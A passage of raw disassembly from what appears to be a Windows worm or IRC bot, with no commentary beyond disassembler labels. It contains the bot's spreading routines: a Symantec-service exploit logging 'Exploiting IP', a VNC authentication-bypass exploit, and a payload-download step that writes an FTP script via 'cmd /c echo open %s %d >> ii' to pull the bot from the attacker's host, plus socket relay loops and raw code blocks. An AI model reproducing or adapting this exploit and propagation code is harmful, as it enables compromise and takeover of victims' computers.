10h push eax push ebx call dword_4CB97C cmp eax, 0FFFFFFFFh jz loc_40E929 push edi push 89h push offset dword_432C88 push ebx call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_40E929 mov esi, 640h push edi lea eax, [ebp-854h] push esi push eax push ebx call dword_4CB9EC push edi push 0A8h push offset dword_432D14 push ebx call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_40E929 push edi lea eax, [ebp-854h] push esi push eax push ebx call dword_4CB9EC push edi push 0DEh push offset dword_432DC0 push ebx call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_40E929 push edi lea eax, [ebp-854h] push esi push eax push ebx call dword_4CB9EC movsx eax, byte ptr [ebp-810h] sub eax, 30h jz short loc_40E933 dec eax jz short loc_40E930 loc_40E929: ; CODE XREF: ___:0040E884j ; ___:0040E89Aj ... xor eax, eax jmp loc_40E9F6 ; --------------------------------------------------------------------------- loc_40E930: ; CODE XREF: ___:0040E927j push edi jmp short loc_40E957 ; --------------------------------------------------------------------------- loc_40E933: ; CODE XREF: ___:0040E924j push 2 push ebx sub esp, 0BCh lea esi, [ebp+8] push 2Fh pop ecx mov edi, esp rep movsd call sub_40E3F1 add esp, 0C4h test al, al jnz short loc_40E977 push 1 loc_40E957: ; CODE XREF: ___:0040E931j push ebx lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40E3F1 add esp, 0C4h test al, al jz short loc_40E97E loc_40E977: ; CODE XREF: ___:0040E953j mov dword ptr [ebp-4], 1 loc_40E97E: ; CODE XREF: ___:0040E975j push ebx call dword_4CBA6C cmp dword ptr [ebp-4], 0 jz short loc_40E9F3 lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] shl eax, 6 add eax, offset aSymantec ; "Symantec" push eax push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." lea eax, [ebp-214h] push 200h push eax call sub_41C360 push 0 lea eax, [ebp-214h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409869 lea eax, [ebp-214h] push eax call sub_415D38 mov eax, [ebp+0B0h] add esp, 2Ch shl eax, 6 inc dword_431800[eax] lea eax, dword_431800[eax] loc_40E9F3: ; CODE XREF: ___:0040E989j push 1 pop eax loc_40E9F6: ; CODE XREF: ___:0040E92Bj pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E9FB proc near ; CODE XREF: sub_40EAE9+91p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax nop call near ptr 71AB12F8h push [ebp+arg_BC] mov [ebp+var_C], eax nop call near ptr 71AB1746h push esi push 1 push 2 mov [ebp+var_E], ax nop call near ptr 71AB3C22h mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40EAC9 lea eax, [ebp+var_10] push 10h push eax push ebx call near ptr 71AB3E5Dh nop cmp eax, 0FFFFFFFFh jz short loc_40EAC9 mov edi, 400h push esi mov esi, dword_4271FC lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset byte_429108 push eax push eax push dword_4CB710 push [ebp+arg_0] call sub_40AA06 pop ecx push eax push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41C360 add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call near ptr 71AB1AF4h nop cmp eax, 0FFFFFFFFh jnz short loc_40EACD loc_40EAC9: ; CODE XREF: sub_40E9FB+50j ; sub_40E9FB+62j xor eax, eax jmp short loc_40EAE4 ; --------------------------------------------------------------------------- loc_40EACD: ; CODE XREF: sub_40E9FB+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx nop call near ptr 71AB1A6Dh push 1 pop eax loc_40EAE4: ; CODE XREF: sub_40E9FB+D0j pop edi pop esi pop ebx leave retn sub_40E9FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EAE9 proc near ; CODE XREF: sub_40C3E8+1EAp ; DATA XREF: ___:off_4317FCo var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+arg_4] push edi push eax mov [ebp+var_10], 2 call dword_4CBA14 push [ebp+arg_A0] mov [ebp+var_C], eax call dword_4CB9D4 push 6 push 1 push 2 mov [ebp+var_E], ax nop call near ptr 71AB3C22h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40EB5B lea eax, [ebp+var_10] push 10h push eax push esi nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_40EB3C push esi jmp short loc_40EB55 ; --------------------------------------------------------------------------- loc_40EB3C: ; CODE XREF: sub_40EAE9+4Ej push 0 push 1213h push offset dword_433424 push esi nop call near ptr 71AB1AF4h cmp eax, 0FFFFFFFFh push esi jnz short loc_40EB5F loc_40EB55: ; CODE XREF: sub_40EAE9+51j nop call near ptr 71AB1A6Dh loc_40EB5B: ; CODE XREF: sub_40EAE9+3Cj xor eax, eax jmp short loc_40EBA1 ; --------------------------------------------------------------------------- loc_40EB5F: ; CODE XREF: sub_40EAE9+6Aj nop call near ptr 71AB1A6Dh push 216Bh lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40E9FB add esp, 0C0h test eax, eax jz short loc_40EB9E mov eax, [ebp+arg_A8] shl eax, 6 inc dword_431800[eax] lea eax, dword_431800[eax] loc_40EB9E: ; CODE XREF: sub_40EAE9+9Ej push 1 pop eax loc_40EBA1: ; CODE XREF: sub_40EAE9+74j pop edi pop esi leave retn sub_40EAE9 endp ; =============== S U B R O U T I N E ======================================= sub_40EBA5 proc near ; CODE XREF: ___:0040EC93p ; ___:0040ECF5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] xor esi, esi loc_40EBAD: ; CODE XREF: sub_40EBA5+2Dj test edi, edi jle short loc_40EBD8 mov eax, [esp+8+arg_4] push 0 add eax, esi push edi push eax push [esp+14h+arg_0] call dword_4CB9EC test eax, eax jz short loc_40EBD4 cmp eax, 0FFFFFFFFh jz short loc_40EBD4 sub edi, eax add esi, eax jmp short loc_40EBAD ; --------------------------------------------------------------------------- loc_40EBD4: ; CODE XREF: sub_40EBA5+22j ; sub_40EBA5+27j xor eax, eax jmp short loc_40EBDB ; --------------------------------------------------------------------------- loc_40EBD8: ; CODE XREF: sub_40EBA5+Aj push 1 pop eax loc_40EBDB: ; CODE XREF: sub_40EBA5+31j pop edi pop esi retn sub_40EBA5 endp ; =============== S U B R O U T I N E ======================================= sub_40EBDE proc near ; CODE XREF: ___:0040ECDFp ; ___:0040ED0Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] test edi, edi jz short loc_40EC1B xor esi, esi test edi, edi jle short loc_40EC15 loc_40EBEE: ; CODE XREF: sub_40EBDE+35j mov eax, edi push 0 sub eax, esi push eax mov eax, [esp+10h+arg_4] add eax, esi push eax push [esp+14h+arg_0] call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_40EC1B test eax, eax jz short loc_40EC1B add esi, eax cmp esi, edi jl short loc_40EBEE loc_40EC15: ; CODE XREF: sub_40EBDE+Ej push 1 pop eax loc_40EC18: ; CODE XREF: sub_40EBDE+3Fj pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40EC1B: ; CODE XREF: sub_40EBDE+8j ; sub_40EBDE+2Bj ... xor eax, eax jmp short loc_40EC18 sub_40EBDE endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 24Ch push ebx mov ax, word_4346DC push esi push edi push 0 push 1 push 2 mov [ebp-2], ax pop esi push esi call dword_4CBA54 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_40EC4D push eax jmp short loc_40EC81 ; --------------------------------------------------------------------------- loc_40EC4D: ; CODE XREF: ___:0040EC48j lea eax, [ebp+0Ch] push eax call dword_4CBA14 push dword ptr [ebp+0A8h] mov [ebp-48h], eax mov [ebp-4Ch], si call dword_4CB9D4 mov [ebp-4Ah], ax lea eax, [ebp-4Ch] push 10h push eax push ebx call dword_4CB97C cmp eax, 0FFFFFFFFh jnz short loc_40EC8C push ebx loc_40EC81: ; CODE XREF: ___:0040EC4Bj call dword_4CBA6C jmp loc_40EE87 ; --------------------------------------------------------------------------- loc_40EC8C: ; CODE XREF: ___:0040EC7Ej lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40EBA5 add esp, 0Ch test eax, eax jz loc_40EE80 lea eax, [ebp-20h] and byte ptr [ebp-2Ch], 0 push eax lea eax, [ebp-28h] push eax lea eax, [ebp-38h] push offset aRfb03d_03d ; "RFB %03d.%03d\n" push eax call sub_41CCE3 add esp, 10h cmp eax, esi jnz loc_40EE80 cmp dword ptr [ebp-28h], 3 jz short loc_40ECD8 cmp dword ptr [ebp-20h], 8 jnz loc_40EE80 loc_40ECD8: ; CODE XREF: ___:0040ECCCj lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40EBDE add esp, 0Ch test eax, eax jz loc_40EE80 lea eax, [ebp-3Ch] push esi push eax push ebx call sub_40EBA5 add esp, 0Ch test eax, eax jz loc_40EE80 lea eax, [ebp-2] push 1 push eax push ebx call sub_40EBDE add esp, 0Ch test eax, eax jz loc_40EE80 lea eax, [ebp-24h] push 4 push eax push ebx call sub_40EBA5 add esp, 0Ch test eax, eax jz loc_40EE80 mov eax, [ebp-24h] mov edi, 0FF0000h mov ecx, eax mov edx, eax and ecx, edi mov esi, 0FF00h shr edx, 10h or ecx, edx mov edx, eax shl edx, 10h and eax, esi or edx, eax shr ecx, 8 shl edx, 8 or ecx, edx mov [ebp-24h], ecx jnz loc_40EE80 push 1 push offset word_4CB88C push ebx call sub_40EBDE add esp, 0Ch test eax, eax jz loc_40EE80 lea eax, [ebp-1Ch] push 18h push eax push ebx call sub_40EBA5 add esp, 0Ch test eax, eax jz loc_40EE80 xor eax, eax mov ecx, [ebp-8] mov al, [ebp-1Bh] mov edx, ecx mov ah, [ebp-1Ch] mov [ebp-1Ch], ax xor eax, eax mov al, [ebp-19h] mov ah, [ebp-1Ah] mov [ebp-1Ah], ax xor eax, eax mov al, [ebp-13h] mov ah, [ebp-14h] mov [ebp-14h], ax xor eax, eax mov al, [ebp-11h] mov ah, [ebp-12h] mov [ebp-12h], ax xor eax, eax mov al, [ebp-0Fh] mov ah, [ebp-10h] mov [ebp-10h], ax mov eax, ecx and eax, edi shr edx, 10h or eax, edx mov edx, ecx shl edx, 10h and ecx, esi or edx, ecx shr eax, 8 shl edx, 8 or eax, edx mov [ebp-8], eax add eax, 2 push eax call sub_41D9A5 mov edi, [ebp-8] pop ecx test edi, edi mov esi, eax jle short loc_40EE10 push edi push esi push ebx call sub_40EBA5 add esp, 0Ch loc_40EE10: ; CODE XREF: ___:0040EE03j and byte ptr [edi+esi], 0 lea eax, [ebp+0Ch] push eax push esi push dword ptr [ebp-20h] lea eax, [ebp-24Ch] push dword ptr [ebp-28h] push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]" push 200h push eax call sub_41C360 push 0 lea eax, [ebp-24Ch] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409869 lea eax, [ebp-24Ch] push eax call sub_415D38 mov eax, [ebp+0B0h] add esp, 34h shl eax, 6 inc dword_431800[eax] push ebx lea eax, dword_431800[eax] call near ptr 71AB1A6Dh nop push 1 pop eax jmp short loc_40EE89 ; --------------------------------------------------------------------------- loc_40EE80: ; CODE XREF: ___:0040EC9Dj ; ___:0040ECC2j ... push ebx nop call near ptr 71AB1A6Dh loc_40EE87: ; CODE XREF: ___:0040EC87j xor eax, eax loc_40EE89: ; CODE XREF: ___:0040EE7Ej pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40EE97: ; CODE XREF: ___:0040EEB3j ; ___:0040EECFj push 0 lea eax, [ebp-404h] push 400h push eax push dword_4CE708 call dword_4CB9EC test eax, eax jle short loc_40EE97 lea ecx, [ebp-4] push 0 push ecx push eax lea eax, [ebp-404h] push eax push dword_4CE704 call near ptr 2740000h nop jmp short loc_40EE97 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40EEDA: ; CODE XREF: ___:0040EF00j ; ___:0040EF1Aj lea eax, [ebp-4] and dword ptr [ebp-4], 0 push 0 push eax lea eax, [ebp-404h] push 400h push eax push dword_4CE6F8 call near ptr 2730000h nop cmp dword ptr [ebp-4], 0 jle short loc_40EEDA push 0 lea eax, [ebp-404h] push dword ptr [ebp-4] push eax push dword_4CE708 call dword_4CBA24 jmp short loc_40EEDA ; --------------------------------------------------------------------------- dword_40EF1C dd 81EC8B55h, 11CECh, 8458B00h, 6A575653h, 59F08B28h, 0FEE4BD8Dh ; DATA XREF: sub_401ACD+2CCAo dd 0A5F3FFFFh, 0FF33016Ah, 98B0895Eh, 6A000000h, 0C8458D10h dd 21E85057h, 830000D0h, 0C7660CC4h, 2C845h, 0FF68B5FFh dd 15FFFFFFh, 4CB9D4h, 6A56066Ah, 45896602h, 5415FFCAh dd 89004CBAh, 458D0845h, 50106AC8h, 0FF0875FFh, 4CBA0015h dd 0FF056A00h, 15FF0875h, 4CB9FCh, 71081D8Bh, 358B0042h dd 427070h, 75FF5757h, 6815FF08h, 0A3004CBAh, 4CE708h dd 57F4458Dh, 0E7046850h, 68004Ch, 0C7004CE7h, 0CF445h dd 45C70000h, 1FCh, 0F87D8900h, 458DD3FFh, 685057F4h, 4CE6FCh dd 4CE6F868h, 6AD3FF00h, 84458D44h, 85E85057h, 0A10000CFh dd 4CE700h, 890CC483h, 0FCA1BC45h, 89004CE6h, 6A57C045h dd 0C4458D01h, 0C750026Ah, 448445h, 45C70000h, 101B0h dd 7D896600h, 171FE8B4h, 50900235h, 0E6FC35FFh, 0E890004Ch dd 2351711h, 0CDE89050h, 8D02350Fh, 8D50D845h, 57508445h dd 906857h, 458D0400h, 50016AF4h, 50F4458Dh, 4346E068h dd 37E85700h, 9002271Bh, 50E8458Dh, 0D1685757h, 8D0040EEh dd 5057F445h, 168BE890h, 45890229h, 0E8458DECh, 68575750h dd 40EE8Eh, 57F4458Dh, 72E89050h, 6A022916h, 0F04589FFh dd 90D875FFh, 2A1CA7E8h, 75FF5702h, 40E890F0h, 57022B15h dd 0E8EC75FFh, 22B1537h, 0F075FF90h, 75FFD6FFh, 57D6FFECh dd 90D875FFh, 3418B8E8h, 35FF02h, 0FF004CE7h, 435FFD6h dd 0FF004CE7h, 0F835FFD6h, 0FF004CE6h, 0FC35FFD6h, 0FF004CE6h dd 0DC75FFD6h, 75FFD6FFh, 0E9D6FFD8h, 0FFFFFEB0h, 0E9h dd 0FFFE6800h, 680000h, 0E8000004h, 9AD1h, 0E710A359h dd 0C359004Ch dword_40F108 dd 81EC8B55h, 6C0ECh, 8458B00h, 6A575653h, 59F08B27h, 0FF50BD8Dh ; DATA XREF: sub_40BD91+34Do dd 0A5F3FFFFh, 0DB33016Ah, 98B0895Eh, 6A000000h, 0EC458D10h dd 35E85053h, 830000CEh, 0C7660CC4h, 2EC45h, 0FF5CB5FFh dd 15FFFFFFh, 4CB9D4h, 26A5653h, 0EE458966h, 0FFF05D89h dd 4CBA5415h, 83F88B00h, 0FE3BFFCEh, 5D394575h, 532075E4h dd 0FD40858Dh, 75FFFFFFh, 858D50E0h, 0FFFFFF60h, 50B5FF50h dd 0E8FFFFFFh, 0FFFFA6DDh, 8D14C483h, 0FFFD4085h, 9DE850FFh dd 0FF00006Bh, 0FFFF54B5h, 0C530E8FFh, 5959FFFFh, 0E52E853h dd 8B900230h, 0FFFF5485h, 69106AFFh, 234C0h, 1CB88900h dd 8D0043E9h, 5750EC45h, 0BA0015FFh, 0C63B004Ch, 400BBh dd 0CF850F00h, 0FF000000h, 4CB96815h, 27403D00h, 47740000h dd 7539F633h, 562075E4h, 0FD40858Dh, 75FFFFFFh, 858D50E0h dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFA65Dh, 8D14C483h dd 0FFFD4085h, 1DE850FFh, 0FF00006Bh, 0FFFF54B5h, 0C4B0E8FFh dd 5959FFFFh, 0D1E89056h, 6802300Dh, 0FFFEh, 9997E853h dd 0A3590000h, 4CE710h, 45896659h, 0EC458DEEh, 5750106Ah dd 0BA0015FFh, 0C63B004Ch, 15FF5475h, 4CB968h, 7539F633h dd 3D2775E4h, 2740h, 8D562074h, 0FFFD4085h, 0E075FFFFh dd 60858D50h, 50FFFFFFh, 0FF50B5FFh, 0E2E8FFFFh, 83FFFFA5h dd 858D14C4h, 0FFFFFD40h, 6AA2E850h, 0B5FF0000h, 0FFFFFF54h dd 0FFC435E8h, 565959FFh, 0D56E890h, 56A0230h, 0FC15FF57h dd 3B004CB9h, 0D4840FC6h, 0C7000000h, 10FC45h, 8BE0000h dd 8D004291h, 8D50FC45h, 0FFFF4085h, 0FF5750FFh, 4CBA6815h dd 0FFF88300h, 74084589h, 0E47D83E6h, 6A217500h, 40858D00h dd 0FFFFFFFDh, 8D50E075h, 0FFFF6085h, 0B5FF50FFh, 0FFFFFF50h dd 0FFA564E8h, 14C483FFh, 0FD40858Dh, 0E850FFFFh, 6A24h dd 40858D59h, 6AFFFFFDh, 2006800h, 0FF500000h, 15FF0875h dd 4CB9ECh, 74FFF883h, 0FF565696h, 4CB71035h, 50B5FF00h dd 0E8FFFFFFh, 0FFFFB6C2h, 0E8685059h, 8D004346h, 0FFF94085h dd 0E85053FFh, 0D008h, 8D1CC483h, 0FFF94085h, 50006AFFh dd 0C657E8h, 8D505900h, 0FFF94085h, 75FF50FFh, 2415FF08h dd 83004CBAh, 840FFFF8h, 0FFFFFF43h, 0E71805FFh, 38E9004Ch dd 57FFFFFFh, 0BA6C15FFh, 0B5FF004Ch, 0FFFFFF54h, 0FFC335E8h dd 6A59FFh, 0C56E890h db 30h, 2 word_40F3AA dw 8B55h ; DATA XREF: sub_40BD91+22Ao dd 70EC81ECh, 8B00000Ah, 56530845h, 0B9016A57h, 0A9h, 0BD8DF08Bh dd 0FFFFF920h, 89A5F35Bh, 2A098h, 90858D00h, 33FFFFF5h dd 16850F6h, 89000001h, 5D89D85Dh, 0E85D89E0h, 0FDD4B589h dd 0B589FFFFh, 0FFFFFBC4h, 4DE0E890h, 5356716Ah, 0E890026Ah dd 716A481Eh, 71DC358Bh, 4D8D0042h, 51046AD8h, 0FFFFBFh dd 57046A00h, 0F8458950h, 458DD6FFh, 50046AE0h, 8B57FB6Ah dd 0FF57F87Dh, 0E8458DD6h, 667E6850h, 90578004h, 6A211DE8h dd 10A16671h, 83004CB7h, 5000C865h, 0C445C766h, 15FF0002h dd 4CB9D4h, 0C6458966h, 6AC4458Dh, 90575010h, 6A4A69E8h dd 7DC08571h, 0E9C38B07h, 548h, 90570A6Ah, 6A6969E8h, 0D49D8971h dd 8BFFFFFDh, 4272081Dh, 0D8BD8900h, 89FFFFFDh, 416AFC7Dh dd 0FDD4B58Dh, 8D59FFFFh, 0FFFBC4BDh, 33A5F3FFh, 0C4858DF6h dd 56FFFFFBh, 8B505656h, 5040FC45h, 6A23DBE8h, 0F8839071h dd 0F6840FFFh, 33000004h, 0FC7539FFh, 7C087D89h, 6AF633C5h dd 60858D64h, 56FFFFFDh, 0CA96E850h, 646A0000h, 0FF50858Dh dd 5056FFFFh, 0CA87E8h, 18C48300h, 0FBC4858Dh, 5750FFFFh dd 16E57E8h, 0FC08500h, 4A284h, 0F87D3B00h, 458D7A75h dd 0F045C7F0h, 10h, 0C4858D50h, 50FFFFFDh, 90F875FFh, 6A916CE8h dd 0FFF88371h, 479840Fh, 0C9330000h, 0FDD4B539h, 1676FFFFh dd 0FDD8958Dh, 239FFFFh, 83410C74h, 8D3B04C2h, 0FFFFFDD4h dd 8D3BF072h, 0FFFFFDD4h, 0BD831675h, 0FFFFFDD4h, 890D7340h dd 0FDD88D84h, 85FFFFFFh, 0FFFFFDD4h, 7EFC453Bh, 0FC458903h dd 68156A56h, 4349ACh, 0E9D3FF50h, 423h, 60858D56h, 6AFFFFFDh dd 90575064h, 6A60FFE8h, 7FC08571h, 0D4958B52h, 33FFFFFDh dd 76D63BC9h, 0D8858D3Ah, 39FFFFFDh, 410A7438h, 3B04C083h dd 0EBF472CAh, 0CA3B4A26h, 848D1B73h, 0FFFDD88Dh, 4508BFFh dd 8B108941h, 0FFFDD495h, 4C083FFh, 72CA3B4Ah, 0D48DFFECh dd 57FFFFFDh, 248BE890h, 0BCE9716Ah, 8D000003h, 0FFFCC885h dd 858D50FFh, 0FFFFFF50h, 60858D50h, 68FFFFFDh, 4349A4h dd 0D6DDE850h, 858D0000h, 0FFFFFF50h, 43499C68h, 39E85000h dd 830000D4h, 0C08518C4h, 6A560D75h, 49846816h, 82E90043h dd 8D000000h, 0FFFF5085h, 497C68FFh, 0E8500043h, 0D414h dd 59C08559h, 6A560A75h, 49646814h, 61EB0043h, 0FF50858Dh dd 5C68FFFFh, 50004349h, 0D3F3E8h, 0C0855900h, 560A7559h dd 4C680D6Ah, 0EB004349h, 50858D40h, 68FFFFFFh, 434944h dd 0D3D2E850h, 85590000h, 0A7559C0h, 68106A56h, 434930h dd 858D1FEBh, 0FFFFFF50h, 43492C68h, 0B1E85000h, 590000D3h dd 7559C085h, 1E6A560Eh, 43490C68h, 0D9E95700h, 0BF000002h dd 434904h, 0FF50858Dh, 5057FFFFh, 0D38BE8h, 0C0855900h dd 8D247559h, 0FFFCC885h, 490068FFh, 0E8500043h, 0D374h dd 59C08559h, 6A560D75h, 48EC6813h, 9AE90043h, 8D000002h dd 0FFFF5085h, 0E85057FFh, 0D354h, 59C08559h, 858D2475h dd 0FFFFFCC8h, 4348E868h, 3DE85000h, 590000D3h, 7559C085h dd 136A560Dh, 4348D468h, 263E900h, 858D0000h, 0FFFFFF50h dd 4348CC68h, 19E85000h, 590000D3h, 7559C085h, 0BE0A6A34h dd 4348A0h, 0D8BD8D59h, 0F3FFFFFEh, 858D50A5h, 0FFFFFED8h dd 0E8A56650h, 0C264h, 858D5059h, 0FFFFFED8h, 875FF50h dd 0F633D3FFh, 21DE9h, 50858D00h, 68FFFFFFh, 434898h, 0D2CEE850h dd 85590000h, 2A7559C0h, 80BE056Ah, 59004348h, 0FF38BD8Dh dd 0A5F3FFFFh, 8D50A566h, 0FFFF3885h, 0E8A450FFh, 0C218h dd 858D5059h, 0FFFFFF38h, 858DB2EBh, 0FFFFFF50h, 43487868h dd 8DE85000h, 590000D2h, 0F59C085h, 0B685h, 2C858D00h dd 50FFFFFDh, 0FF04858Dh, 8D50FFFFh, 8D50EC45h, 8D50E445h dd 8D50DC45h, 8D50D445h, 0FFFD6085h, 485068FFh, 0E8500043h dd 0D4E7h, 0FF04858Dh, 0E850FFFFh, 0C951h, 858DF88Bh, 0FFFFFD2Ch dd 0C943E850h, 45890000h, 8D326AF4h, 0FFFF0485h, 0E85056FFh dd 0C748h, 8D34C483h, 0FFFF0485h, 0F475FFFFh, 48486857h dd 0E8500043h, 0CA26h, 858D106Ah, 0FFFFFF04h, 56E85056h dd 830000CFh, 45891CC4h, 0EC458DF4h, 0E4458D50h, 0DC458D50h dd 0D4458D50h, 0B4458D50h, 43483C68h, 0F3E85000h, 830000C9h dd 6A5618C4h, 481C681Dh, 6E90043h, 8D000001h, 0FFFF5085h dd 481468FFh, 0E8500043h, 0D1BCh, 59C08559h, 0CC850Fh dd 6A560000h, 47E86828h, 75FF0043h, 0FFD3FF08h, 458DF475h dd 8E850B4h, 59000001h, 5901F883h, 9E850Fh, 0B5390000h dd 0FFFFFBBCh, 8D562375h, 0FFF72085h, 0B8B5FFFFh, 50FFFFFBh dd 0FB38858Dh, 0FF50FFFFh, 0FFF920B5h, 9F7FE8FFh, 0C483FFFFh dd 14AE814h, 0F8830000h, 93850F01h, 56000000h, 0D068176Ah dd 0FF004347h, 0D3FF0875h, 50B4458Dh, 0F720858Dh, 9868FFFFh dd 50004347h, 0C949E8h, 0CC48300h, 0FBBCB539h, 2375FFFFh dd 20858D56h, 0FFFFFFF7h, 0FFFBB8B5h, 858D50FFh, 0FFFFFB38h dd 20B5FF50h, 0E8FFFFF9h, 0FFFF9F21h, 8D14C483h, 0FFF72085h dd 0E1E850FFh, 0FF000063h, 4CE4E005h, 2EEB5900h, 68206A56h dd 434774h, 858D1FEBh, 0FFFFFF50h, 42CD2068h, 0D5E85000h dd 590000D0h, 7559C085h, 1B6A560Dh, 43475868h, 875FF00h dd 646AD3FFh, 0FD60858Dh, 5056FFFFh, 0C5D3E8h, 87D8B00h dd 470CC483h, 89FC7D3Bh, 8E0F087Dh, 0FFFFFB19h, 0FFFAD9E9h dd 58016AFFh, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp-1A0h] push eax push 101h nop call near ptr 71AB41DAh push 0 push 1 push 2 call near ptr 71AB3C22h nop push dword ptr [ebp+8] mov dword_4CE71C, eax mov word ptr [ebp-10h], 2 nop call near ptr 71AB12F8h push dword ptr [ebp+0Ch] mov [ebp-0Ch], eax nop call near ptr 71AB1746h mov [ebp-0Eh], ax lea eax, [ebp-10h] push 10h push eax push dword_4CE71C call near ptr 71AB3E5Dh nop cmp eax, 0FFFFFFFFh jnz short loc_40FA37 push dword_4CE71C nop call near ptr 71AB1A6Dh nop call near ptr 71AB1836h xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40FA37: ; CODE XREF: ___:0040FA1Fj push 1 pop eax leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp-104h] push 104h push eax push 0 nop call near ptr 2690000h lea eax, [ebp-104h] push offset dword_429068 push eax call sub_41BEA2 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40FAD3 test byte ptr [esi+0Ch], 10h jnz short loc_40FAB7 push edi mov edi, 400h loc_40FA7F: ; CODE XREF: ___:0040FAB4j push esi push 1 lea eax, [ebp-504h] push edi push eax call sub_41BAFA add esp, 10h lea eax, [ebp-504h] push 0 push edi push eax push dword_4CE71C nop call near ptr 71AB1AF4h push 1 call near ptr 26A068Bh nop test byte ptr [esi+0Ch], 10h jz short loc_40FA7F pop edi loc_40FAB7: ; CODE XREF: ___:0040FA77j push esi call sub_41BA3B pop ecx push dword_4CE71C nop call near ptr 71AB1A6Dh call near ptr 71AB1836h nop push 1 pop eax loc_40FAD3: ; CODE XREF: ___:0040FA71j pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FAD6 proc near ; DATA XREF: sub_401ACD+2229o ; sub_40BD91+475o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_41C500 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_41BF70 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_4CB9D4 push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_4CBA54 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_40FEC1 mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_43E91C[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_4CBA00 cmp eax, 0FFFFFFFFh jz loc_40FEC1 push 7FFFFFFFh push edi call dword_4CB9FC cmp eax, 0FFFFFFFFh jz loc_40FEC1 lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_4CBA70 cmp eax, 0FFFFFFFFh jz loc_40FEC1 mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_40FBAD: ; CODE XREF: sub_40FAD6+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_4CB9BC cmp eax, 